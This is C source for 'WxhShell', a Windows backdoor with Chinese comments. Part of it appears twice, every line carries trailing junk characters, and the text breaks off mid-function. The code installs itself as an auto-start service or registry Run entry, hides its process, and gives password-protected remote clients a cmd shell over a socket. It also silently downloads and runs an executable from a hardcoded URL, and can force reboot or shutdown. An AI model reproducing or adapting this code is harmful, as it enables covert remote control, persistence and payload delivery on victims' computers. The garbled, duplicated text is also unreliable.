    if(Boot(SHUTDOWN)) d/O~"d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $R2iSu{kO  
    else { _Fz]QxO  
    closesocket(wsh); l$~3_3+  
    ExitThread(0); aI l}|n"  
    } i0y^b5@MOb  
    break; #~(VOcRI  
    } 0 xUw}T6  
  // 获取shell 1@)kNg)*$  
  case 's': { #MyR:V*a  
    CmdShell(wsh); ]c.1&OB7o  
    closesocket(wsh); 7 )`U%}R  
    ExitThread(0); SCCBTpmf2B  
    break; {WE1^&Vk-}  
  } *,:>EcDr  
  // 退出 S~9K'\vO  
  case 'x': { #JFTD[1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *oC],4y~D  
    CloseIt(wsh); 4' ym vR  
    break; %MQU&H9[  
    } F~`Yh6v  
  // 离开 F3XB};  
  case 'q': { "B~c/%#PH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QUPZe~G>L  
    closesocket(wsh); WU wH W  
    WSACleanup(); (h} 5*u%h  
    exit(1); g[]UM;D*  
    break; Ho}"8YEXNV  
        } EqN<""2  
  } A{[joo  
  } g[Z$\A?ZbZ  
s#%$aQ|Fp  
  // 提示信息 6zmt^U   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u3"0K['3  
} =6XJr7Ay8u  
  } MX@t[{Gg9  
3@qy}Nm  
  return; toq/G,N Q  
} KT3W>/#E  
D5o[z:V7"  
// shell模块句柄  xJphG  
int CmdShell(SOCKET sock) 64)Fz}  
{ `&\jOve   
STARTUPINFO si; a.n;ika]-  
ZeroMemory(&si,sizeof(si)); _JVFn=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p#5U[@TK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~AVn$];{  
PROCESS_INFORMATION ProcessInfo; 'qL:7  
char cmdline[]="cmd"; +-DF3(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ',7LVT7  
  return 0; Dl a }-A:  
} r8.`W\SKX  
p?uk|C2  
// 自身启动模式 "!V-@F$@N  
int StartFromService(void) 7L%JCH#F  
{ {iGy@?d)zt  
typedef struct b^*9m PP  
{ wbIgZ]o!/;  
  DWORD ExitStatus; _d|CO  
  DWORD PebBaseAddress; rr@h9bak;g  
  DWORD AffinityMask; k? <.yr1  
  DWORD BasePriority; wMW."gM|  
  ULONG UniqueProcessId; )x!b{5'"7  
  ULONG InheritedFromUniqueProcessId; X#ZQpo'h  
}   PROCESS_BASIC_INFORMATION; VjI=5)+~  
eD|p1+76  
PROCNTQSIP NtQueryInformationProcess; )j/2Z-Ev:W  
GI se|[p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _#UiY ffa*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y3_C':r  
lm;Dy*|<  
  HANDLE             hProcess; <y S|\Z|  
  PROCESS_BASIC_INFORMATION pbi; i,H(6NL.  
H[S}&l\D4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \aN*x  
  if(NULL == hInst ) return 0; _Gu;=H,~&  
3s]aXz:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [!~= m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dhe*)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %(uYYr 6  
*;&[q{hz  
  if (!NtQueryInformationProcess) return 0; (# c|San  
>\7M f@c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WYUel4Z  
  if(!hProcess) return 0; i V$TvD+  
~n"?*I`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nO+-o;DbC  
f7SMO-3a  
  CloseHandle(hProcess); Ki\\yK  
kR+7JUq]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KB"N',kG  
if(hProcess==NULL) return 0; 8\X-]Gh\^  
8FIk|p|l^  
HMODULE hMod; g8SVuG<DI\  
char procName[255]; >T#" Im-  
unsigned long cbNeeded; 7BS5Eq B=  
Hl#?#A5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FN w0x6,~R  
64L;np>  
  CloseHandle(hProcess); TE5J @I  
Dr)jB*yK  
if(strstr(procName,"services")) return 1; // 以服务启动 S\SYFXUl  
_-T^YeQ/  
  return 0; // 注册表启动 .(&w/jR  
} :4r{t?ytXw  
<t&Qa~mA  
// 主模块 #Dea$  
int StartWxhshell(LPSTR lpCmdLine) 9/`3=r@  
{ 9sN#l  
  SOCKET wsl; X<D fzd oI  
BOOL val=TRUE; M2$Hb_S{  
  int port=0; ? *v*fs0  
  struct sockaddr_in door; DbSR(:  
S"t\LB*'Ls  
  if(wscfg.ws_autoins) Install(); R/xT.EQ(N  
([dwZ6$/J  
port=atoi(lpCmdLine); wmA TV/  
zsLMROo3  
if(port<=0) port=wscfg.ws_port; 6M ;lD5(>  
Q;s {M{u  
  WSADATA data; 1bFGoLAEFl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |[0Ijm2  
NcrBp(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w!pj);jy{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~.4y* &  
  door.sin_family = AF_INET; 1cc~UQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AmZW=n2^  
  door.sin_port = htons(port); lGt:.p{NG  
))dw[Xa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MGf*+!y,  
closesocket(wsl); O')=]6CQ*  
return 1; |@~_&g  
} m] yUcj{F  
tZv^uuEp3  
  if(listen(wsl,2) == INVALID_SOCKET) { L/E7xLz  
closesocket(wsl); !RPE-S  
return 1; ,zuS)?  
} VC0Tqk  
  Wxhshell(wsl); d!46`b$rd  
  WSACleanup(); $)nPj_h  
"iGQ1#6|d  
return 0; X-X`Z`o  
3AglvGK7{  
} lXF7)H&T  
;5.<M<PH  
// 以NT服务方式启动 \#]C !JQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <.Pt%Kg^BS  
{ }& W=  
DWORD   status = 0; h-|IZ}F7  
  DWORD   specificError = 0xfffffff; z]SEPYq:  
~-[!>1!%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nW*cqM%+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nW^h +   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /qJCp![X  
  serviceStatus.dwWin32ExitCode     = 0; #t;]s<  
  serviceStatus.dwServiceSpecificExitCode = 0; =|``d-  
  serviceStatus.dwCheckPoint       = 0; Dn@ZS_f  
  serviceStatus.dwWaitHint       = 0; ke!  
+ kT ]qH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !h4A7KBYG  
  if (hServiceStatusHandle==0) return; N Uv Vhy]{  
JV@G9PT  
status = GetLastError(); J}[[tl  
  if (status!=NO_ERROR) qjhk#\y  
{ Ww60-d}}Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i NfAn&  
    serviceStatus.dwCheckPoint       = 0; i-w$-2w  
    serviceStatus.dwWaitHint       = 0; *l 4[`7|  
    serviceStatus.dwWin32ExitCode     = status; W7'<Jom|?  
    serviceStatus.dwServiceSpecificExitCode = specificError; S5u$I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pDYJLh-C  
    return; @8>bp#x/1  
  } DO *  
akNqSZwj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LEeA ,Y  
  serviceStatus.dwCheckPoint       = 0; Y2XxfZ j  
  serviceStatus.dwWaitHint       = 0; 1KrJS(.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vpf.0!zh  
} WA,D=)GP  
[520!JhZY  
// 处理NT服务事件,比如:启动、停止 "^6Fh"]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lq"X_M$  
{ I/O/*^T  
switch(fdwControl) d4BzFGsW  
{ =k.%#h{  
case SERVICE_CONTROL_STOP: ~G@YA8}  
  serviceStatus.dwWin32ExitCode = 0; ^~-YS-.J#,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R'`'q1=R  
  serviceStatus.dwCheckPoint   = 0; 7@>/O)>(AS  
  serviceStatus.dwWaitHint     = 0; _"B.V(  
  { C 'MR=/sd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K$Vu[!l`  
  } {R-o8N  
  return; -*4*hHmb  
case SERVICE_CONTROL_PAUSE: po*8WSl9c[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a{r"$>0  
  break; WYTqQqQk  
case SERVICE_CONTROL_CONTINUE: L55 UeP\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~qeFSU(  
  break; qjhV/fsfb  
case SERVICE_CONTROL_INTERROGATE: 4>0q0}J=5  
  break; jw=PeT|  
}; p__wBUB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Y6\m`  
} M)+pH  
rX?ZUw?u&  
// 标准应用程序主函数 ]/1\.<uJId  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ').) 0;  
{ bg-/ 8,  
E3O^Tg?j  
// 获取操作系统版本 C$6FI `J  
OsIsNt=GetOsVer(); lJ-PW\P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3r kcIVO  
k*fU:q1  
  // 从命令行安装 Xj/z),  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Yb !Au[  
8^ f:-5  
  // 下载执行文件 r)'vn[A  
if(wscfg.ws_downexe) { lUs$I{2_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `9K5 ;]  
  WinExec(wscfg.ws_filenam,SW_HIDE); R*D<M3  
} Yw3'9m^  
H"l4b4)N\  
if(!OsIsNt) { F =e9o*z  
// 如果时win9x,隐藏进程并且设置为注册表启动 %/ y=_G  
HideProc(); +_i{4Iz~p  
StartWxhshell(lpCmdLine); 2uE<mjCt-r  
} W[O]Aal{  
else |cma7q}p  
  if(StartFromService()) ~/`/r%1/J  
  // 以服务方式启动 TsaQR2J@  
  StartServiceCtrlDispatcher(DispatchTable); 0Xh_.PF  
else <@-O 06  
  // 普通方式启动 \s5Uvws  
  StartWxhshell(lpCmdLine); Bxm,?=h  
>5~#BrpwG  
return 0; tf~B,?  
} LOx+?4|y  
+r8bGS]ki  
eA4:]A"  
{\l  
=========================================== ;yt6Yp.6e  
;AEfU^[  
%f1%9YH  
Sf,z  
R#d~a;j  
|q77  
" nTqU~'d'  
!,[#,oy;  
#include <stdio.h> :DN!1~ZtW  
#include <string.h> @N>7+ 4  
#include <windows.h> /sKL|]i=  
#include <winsock2.h> (gBKC]zvz3  
#include <winsvc.h> ,5n!a.T  
#include <urlmon.h> |RiJ>/ MK\  
wX"hUu  
#pragma comment (lib, "Ws2_32.lib") p`Pa;=L  
#pragma comment (lib, "urlmon.lib") !,Uo{@E)Y  
n N<N~  
#define MAX_USER   100 // 最大客户端连接数 {[o NUzcd  
#define BUF_SOCK   200 // sock buffer EjR(AqZY  
#define KEY_BUFF   255 // 输入 buffer nj[TTnd Jt  
XQ]K,# i  
#define REBOOT     0   // 重启 +94)BxrY  
#define SHUTDOWN   1   // 关机 p&<Ssc  
;28d7e}  
#define DEF_PORT   5000 // 监听端口 l76=6Vtb  
ob.<j  
#define REG_LEN     16   // 注册表键长度 OsgPNy0  
#define SVC_LEN     80   // NT服务名长度 /Y7^!3uM  
kt6x"'"1  
// 从dll定义API \H] |5fp*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (g##wa)L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KUI{Z I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CY1WT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pi"H?EHk  
j_8 YFz5  
// wxhshell配置信息 ,-c,3/tyA  
struct WSCFG { Ds`e-X)O;\  
  int ws_port;         // 监听端口 G]K1X"W?  
  char ws_passstr[REG_LEN]; // 口令 VdHT3r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 D|#l*V  
  char ws_regname[REG_LEN]; // 注册表键名 KYFKH+d>m  
  char ws_svcname[REG_LEN]; // 服务名 wNf:_^|}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ewMVUq*:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;2f=d_/x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &tyS6S+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ='7m$,{(Q[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VE |:k:};  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 voa)V 1A/]  
=^9h z3 j  
}; TDh)}Ms  
MP%#)O6  
// default Wxhshell configuration d<m;Q}/l&h  
struct WSCFG wscfg={DEF_PORT, B>2=IZ  
    "xuhuanlingzhe", tr0b#4  
    1, +b|F_  
    "Wxhshell", 3lUVDNbZ  
    "Wxhshell", $@AJg  
            "WxhShell Service", V6g*"e/8  
    "Wrsky Windows CmdShell Service", {*_Ln  
    "Please Input Your Password: ", 2I.FSR_G?  
  1, 46?z*~*G  
  "http://www.wrsky.com/wxhshell.exe", d^v#x[1msZ  
  "Wxhshell.exe" 6{2y$'m8  
    }; N*IroT3  
8F sQLeOE  
// 消息定义模块 Pf;OYWST  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\1CDU+*Ns  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W~ yb>+u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <a R  
char *msg_ws_ext="\n\rExit."; uLdHE5vr  
char *msg_ws_end="\n\rQuit."; ZU\$x<,  
char *msg_ws_boot="\n\rReboot..."; }8O9WS  
char *msg_ws_poff="\n\rShutdown..."; !r/i<~'Bx  
char *msg_ws_down="\n\rSave to "; ,EQ0""G!  
RXXHg  
char *msg_ws_err="\n\rErr!"; +)c<s3OCE  
char *msg_ws_ok="\n\rOK!"; vn.5X   
6#=Iv X4  
char ExeFile[MAX_PATH]; M"z=114  
int nUser = 0; 1j2U,_-  
HANDLE handles[MAX_USER]; xW"O|x$6  
int OsIsNt; U][E`[m#  
M6-uTmN:d  
SERVICE_STATUS       serviceStatus; <@J$hs9s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U6JD^G=qR,  
` nX, x-UM  
// 函数声明 ^gVQ6=z%  
int Install(void); >MYxj}I4{z  
int Uninstall(void); AD   
int DownloadFile(char *sURL, SOCKET wsh); P2'c{],3V  
int Boot(int flag); Uw4iWcC  
void HideProc(void); l0&Fm:))k  
int GetOsVer(void); 6*,55,y  
int Wxhshell(SOCKET wsl); fw%p_Cm  
void TalkWithClient(void *cs); RFw0u 0Nrz  
int CmdShell(SOCKET sock); /  Xnq0hN  
int StartFromService(void); (j>`+F5f  
int StartWxhshell(LPSTR lpCmdLine); Od.@G~  
.{gDw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QMMpB{FZ`o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |QS|\8g{0V  
gj;gl ="3  
// 数据结构和表定义 _JC*4  
SERVICE_TABLE_ENTRY DispatchTable[] = Gza= 0  
{ t__f=QB/  
{wscfg.ws_svcname, NTServiceMain}, Y6wr}U  
{NULL, NULL}  W2` 3 p  
}; Q & /5B  
U<Oc&S{]*  
// 自我安装 ^Zl[#:EFP  
int Install(void) L#`X ]E  
{ PE{<' K\g  
  char svExeFile[MAX_PATH]; g_4%M0&AX  
  HKEY key; Q]5_s{kiz  
  strcpy(svExeFile,ExeFile); ;)ay uS sQ  
2Ys=/mh  
// 如果是win9x系统,修改注册表设为自启动 ?z&n I#  
if(!OsIsNt) { M8lw; (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S^R dj ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m 70r'b]  
  RegCloseKey(key); [( xPX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pI f6RwH}%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); koB'Zp/FaY  
  RegCloseKey(key); 5[g&0  
  return 0; 7OLHYt9  
    } `C_qqf  
  } lOA EM  
}  Xcfd]29  
else { 0x*1I1(c  
ebEI%8p g  
// 如果是NT以上系统,安装为系统服务 ;Q3[} ]su  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 cV G?Wr  
if (schSCManager!=0) (e_<~+E  
{ 0fj C>AS  
  SC_HANDLE schService = CreateService q4X( _t  
  ( h@JX?LzZS  
  schSCManager, Sa)sDf1+`  
  wscfg.ws_svcname, |FFz $'8)  
  wscfg.ws_svcdisp, z}}P+P/  
  SERVICE_ALL_ACCESS, xA^E+f:W_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B0 A`@9  
  SERVICE_AUTO_START, o]V.6Ge-  
  SERVICE_ERROR_NORMAL, L~/L<Ms  
  svExeFile, |L*=\%t8  
  NULL, #Fo#f<b p  
  NULL, v`L]dY4,  
  NULL, Z@Q/P(t  
  NULL, .dYv.[?hL  
  NULL D]>Z5nr |  
  ); nN.Gn+Cl  
  if (schService!=0) pC,Z=+:  
  { ]Vj($O:  
  CloseServiceHandle(schService); k)z>9z%D  
  CloseServiceHandle(schSCManager); !m))Yp-"H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a/s5Oit2'X  
  strcat(svExeFile,wscfg.ws_svcname); {o^tSEN!-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ic}TiTK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #|+4`Gf^  
  RegCloseKey(key); L[:A Ue  
  return 0; f.j<VKF}  
    } ^6{op3R_  
  } izcjI.3e,  
  CloseServiceHandle(schSCManager); ,gpEXU p\  
} {m3#1iV9  
} tz?3R#rM  
y5c\\e  
return 1; y(iq  
} mw^>dv?  
%hmRh~/&  
// 自我卸载 fp(zd;BSQ  
int Uninstall(void) og8hc~:ro  
{ %H{;wVjK  
  HKEY key; K@:omT  
GzaGTd.b  
if(!OsIsNt) { <7)sS<I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S W6oaa81  
  RegDeleteValue(key,wscfg.ws_regname); )RTWt`  
  RegCloseKey(key); f`;w@gR`=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OqRRf  
  RegDeleteValue(key,wscfg.ws_regname); jPo,mz&^  
  RegCloseKey(key); &N=vs  
  return 0; dPpJDY0  
  } &RbP N^  
} 6~jAh@-  
} wC%qSy'  
else { 7f k)a  
NNr6~m)3v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U8NX%*oW  
if (schSCManager!=0) zjow %  
{ oR~d<^z(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |qj"p  
  if (schService!=0) dR_6j}  
  { SWhzcqp  
  if(DeleteService(schService)!=0) { |,=^P` #%  
  CloseServiceHandle(schService); `9^+KK"  
  CloseServiceHandle(schSCManager); 479X5Cl  
  return 0; U/A iI;Ne  
  } cNwH Y Z'  
  CloseServiceHandle(schService); G9Kck|50  
  } W 2[]m>;  
  CloseServiceHandle(schSCManager); (K8Ob3zN_  
} n6t@ e^  
} i\^4EQ  
 7 FY2a  
return 1; + a nsN~3  
} (p12=EB<  
\X\f ~CB  
// 从指定url下载文件 g=t7YQq_~  
int DownloadFile(char *sURL, SOCKET wsh) Cy/VH"G=  
{ vOz1& |;D  
  HRESULT hr; _4)z:?G5  
char seps[]= "/"; >"=DN5w ,S  
char *token; JttDRNZAU  
char *file; !Tv3WQ@  
char myURL[MAX_PATH]; 6i+,/vr  
char myFILE[MAX_PATH]; F xm:m  
_ {wP:dI "  
strcpy(myURL,sURL); a,S;JF)v  
  token=strtok(myURL,seps); U'9z.2"}9  
  while(token!=NULL) ojlyW})$%  
  { TvDC4tm-:  
    file=token; I-g/ )2  
  token=strtok(NULL,seps); \ B84  
  } K.mxF,H  
Y2 J-`o$5  
GetCurrentDirectory(MAX_PATH,myFILE); @j}%{Km]Y  
strcat(myFILE, "\\"); pk.\IKlG]  
strcat(myFILE, file); 7`A]X,:  
  send(wsh,myFILE,strlen(myFILE),0); 8aWEl%  
send(wsh,"...",3,0); K6-M.I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G'G8`1Nj  
  if(hr==S_OK) aif;h! ?y  
return 0; ML\>TDt  
else `a MU2  
return 1; YVDFcN9v  
y-bUVw!Y  
} p+V#86(3  
y{hy7w'd  
// 系统电源模块 Qw'905;(  
int Boot(int flag) <OGG(dI  
{ 9|}Pf_5]%[  
  HANDLE hToken; `2@.%s1o=  
  TOKEN_PRIVILEGES tkp; <R@,wzK  
[DM0'4  
  if(OsIsNt) { 18Y#=uH}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6ABK)m-y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w(6n  
    tkp.PrivilegeCount = 1; {JP q. A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XhM!pSl\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,?|$DY+=  
if(flag==REBOOT) { gk%@& TB/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g5@g_~ g  
  return 0; b[<RcM{r}  
} Df^F)\7!N?  
else { )|lxzlk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MWh Y&I+  
  return 0; @9B*V~ <  
} VWE>w|'  
  } )?$[iu7 s  
  else { :h{uZ,#Gi  
if(flag==REBOOT) { Q< :RLKVT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ">oySo.B?  
  return 0; h <LFTYE@  
} y'K2#Y~1e  
else { ;ItH2Lw<&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gQ>kDl^$Ls  
  return 0; {?H5Pw>{%h  
} @vt.Db  
} w*ans}P7  
Kgu8E:nL  
return 1; \EySKQ=  
} (aa2uctTn  
?q:|vt  
// win9x进程隐藏模块 9 %T??-  
void HideProc(void) !#c'| *k  
{ RSp wU;o6z  
aj1]ZT \  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); } a9Ah:.7/  
  if ( hKernel != NULL ) CF '&Yo  
  { ^viabkf C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $^ws#}j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N*o{BboK;  
    FreeLibrary(hKernel); !!y]pMjJa@  
  } !bE-&c  
:R Iz6Tz  
return; ^m|@pp  
} ??,[-Oi  
x}+zhRJ  
// 获取操作系统版本 ,CfslhO{j  
int GetOsVer(void) : {p'U2  
{ "b} mVrFh  
  OSVERSIONINFO winfo; lP F326e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jka>Er  
  GetVersionEx(&winfo);  w4U,7%V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n)e2?  
  return 1; 4S<M9A}  
  else wjA wJOw|  
  return 0; k]~o=MLmj  
} 4&}%GH>}  
ZL( j5E  
// 客户端句柄模块 u m9yO'[C  
int Wxhshell(SOCKET wsl) 2J7|y\N,  
{ F]\ Sk'}&  
  SOCKET wsh; h?mDtMCw2  
  struct sockaddr_in client; +Nt4R:N  
  DWORD myID; D*M `qPX~  
*~vB6V|1  
  while(nUser<MAX_USER) 0#*6:{/^  
{ lsz3'!%Y)  
  int nSize=sizeof(client); +fP.Ewi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PkvW6,lS  
  if(wsh==INVALID_SOCKET) return 1; *~#I5s\s!  
wQhNQ(H~\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >qeDb0  
if(handles[nUser]==0) \ruQx)5M  
  closesocket(wsh); s L^+$Mq6  
else cOVj @z  
  nUser++; Gv-VDRS  
  } Bqf(6\)F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #l=yD]t PU  
pY31qhoZ.  
  return 0; zI`I Q  
} 4V@%Y,:ee  
giakEPl  
// 关闭 socket )UzJ2Pa<+_  
void CloseIt(SOCKET wsh) F>fCp  
{ M\]lNQA  
closesocket(wsh); CMj =4e  
nUser--; Na0^csPm  
ExitThread(0); I,-n[k\J  
} .5|[gBK  
c]6b|mHT  
// 客户端请求句柄 5YY5t^T  
void TalkWithClient(void *cs) =7 l uV_5  
{ r2-iISxg+  
Y~"tL(WfJl  
  SOCKET wsh=(SOCKET)cs; >h7(kj:  
  char pwd[SVC_LEN]; .S k+"iH5  
  char cmd[KEY_BUFF]; dbf<k%i6  
char chr[1]; ]A5F}wV4  
int i,j; ..N6]u  
Nq8ON!<<  
  while (nUser < MAX_USER) { V:\:[KcL^  
A8% e _XA  
if(wscfg.ws_passstr) { m$vq %[/#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "N+4TfXy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YVIE v  
  //ZeroMemory(pwd,KEY_BUFF); S?688  
      i=0; <LbLMV  
  while(i<SVC_LEN) { _Ewh:IM-  
+7.|1x;C  
  // 设置超时 iOiF kka  
  fd_set FdRead; 6#z8 %k aX  
  struct timeval TimeOut; *zdD4 I=  
  FD_ZERO(&FdRead); Phn^0 iF  
  FD_SET(wsh,&FdRead); #}7T$Va  
  TimeOut.tv_sec=8; +XWTu!  
  TimeOut.tv_usec=0; Rw+r1vW:A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <*5S7)]BP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pwo$qs(p  
+SFFwjI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T+Yv5l  
  pwd=chr[0]; #2]*qgA4  
  if(chr[0]==0xd || chr[0]==0xa) { 13?:a[~=Y  
  pwd=0; >CvhTrPI  
  break; 8m0*89HEu  
  } mV}bQ^*?Z  
  i++; =%U &$d|@G  
    } gC$_yd6m L  
B- @bU@H  
  // 如果是非法用户,关闭 socket 1>*oN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Xdq+$w.  
} <X*oW".  
Y-it3q'Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .@{v{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rWr'+v?  
Kw-<o!~  
while(1) { []>rYZ9bv  
U$2Em0HO}  
  ZeroMemory(cmd,KEY_BUFF); ^\PRz Y  
uO4 LD}A  
      // 自动支持客户端 telnet标准    ?s,oH  
  j=0; |X@s {?  
  while(j<KEY_BUFF) { V7WL Gy.,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i$kB6B#==  
  cmd[j]=chr[0]; 3I 0pHP5  
  if(chr[0]==0xa || chr[0]==0xd) { HS |Gz3~  
  cmd[j]=0; ;bwBd:Y  
  break; SY Bp-o  
  } 8Yc-3ozH  
  j++; |47t+[b   
    } ((gI OTV  
h] ho? K  
  // 下载文件 Z"c-Ly{vEj  
  if(strstr(cmd,"http://")) { < }K9 50  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #~p;s>  
  if(DownloadFile(cmd,wsh)) &en2t=a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?{&v19m  
  else IhzY7U)}T  
